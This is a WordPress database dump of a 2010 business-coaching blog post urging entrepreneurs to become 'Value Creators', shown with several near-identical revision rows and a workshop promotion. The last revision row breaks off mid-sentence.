(1245, 2, '2010-11-26 18:26:13', '2010-11-27 01:26:13', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="450" height="297" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis. </strong><strong>Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>. </strong><strong>When you do, you’ll create far more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. </strong><strong></strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'publish', 'open', 'open', '', 'create-marketplace-demand-rather-than-fulfill-it', '', '', '2010-12-27 15:47:27', '2010-12-27 22:47:27', '', 0, 'http://www.whitehotcenter.com/?p=1245', 0, 'post', '', 2),
(1246, 2, '2010-11-26 17:36:46', '2010-11-27 00:36:46', '', 'value-creator-pie', 0, '', 'inherit', 'open', 'open', '', 'value-creator-pie', '', '', '2010-11-26 17:36:46', '2010-11-27 00:36:46', '', 1245, 'http://www.whitehotcenter.com/wp-content/uploads/2010/11/value-creator-pie.gif', 0, 'attachment', 'image/gif', 0);
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(1247, 2, '2010-11-26 17:52:15', '2010-11-27 00:52:15', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\n\nHow do I separate my business or brand from the alternatives my customers have?\n\nHow can I create greater demand for what I love to do?\n\nWhat can I do to influence a prospective customer’s decision to do business with me?\n\n<strong>Be a value creator as opposed to an order-taker.</strong>\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\n\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\n\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\n\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\n\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\n\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\n\n<strong>Value Creators are good and different.</strong>\n\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\n\n<strong>Value Creators are masters at leverage</strong>.\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\n\nValue Creators are selective with their time and energy.\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\n\nValue Creators play the game of life at the highest levels.\n\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\n\nIf you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace<strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision', '', '', '2010-11-26 17:52:15', '2010-11-27 00:52:15', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision/', 0, 'revision', '', 0),
(1248, 2, '2010-11-26 17:53:11', '2010-11-27 00:53:11', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n\r\nHow do I separate my business or brand from the alternatives my customers have?\r\n\r\nHow can I create greater demand for what I love to do?\r\n\r\nWhat can I do to influence a prospective customer’s decision to do business with me?\r\n\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-2', '', '', '2010-11-26 17:53:11', '2010-11-27 00:53:11', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-2/', 0, 'revision', '', 0),
(1249, 2, '2010-11-26 17:53:21', '2010-11-27 00:53:21', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n\r\nHow do I separate my business or brand from the alternatives my customers have?\r\n\r\nHow can I create greater demand for what I love to do?\r\n\r\nWhat can I do to influence a prospective customer’s decision to do business with me?\r\n\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-3', '', '', '2010-11-26 17:53:21', '2010-11-27 00:53:21', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-3/', 0, 'revision', '', 0),
(1250, 2, '2010-11-26 17:54:23', '2010-11-27 00:54:23', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n\r\n<em>-  How do I separate my business or brand from the alternatives my customers have?</em>\r\n\r\n<em>-  How can I create greater demand for what I love to do?</em>\r\n\r\n<em>-  What can I do to influence a prospective customer’s decision to do business with me?</em>\r\n\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-4', '', '', '2010-11-26 17:54:23', '2010-11-27 00:54:23', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-4/', 0, 'revision', '', 0),
(1251, 2, '2010-11-26 17:54:32', '2010-11-27 00:54:32', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n\r\n<em>-  How do I separate my business or brand from the alternatives my customers have?</em>\r\n\r\n<em>-  How can I create greater demand for what I love to do?</em>\r\n\r\n<em>-  What can I do to influence a prospective customer’s decision to do business with me?</em>\r\n\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  Which one commands a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\n\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-5', '', '', '2010-11-26 17:54:32', '2010-11-27 00:54:32', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-5/', 0, 'revision', '', 0),
(1252, 2, '2010-11-26 17:56:34', '2010-11-27 00:56:34', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\n<h3><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h3>\n<h3><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h3>\n<h3><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h3>\n<strong>Be a value creator as opposed to an order-taker.</strong>\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\n\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\n\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium 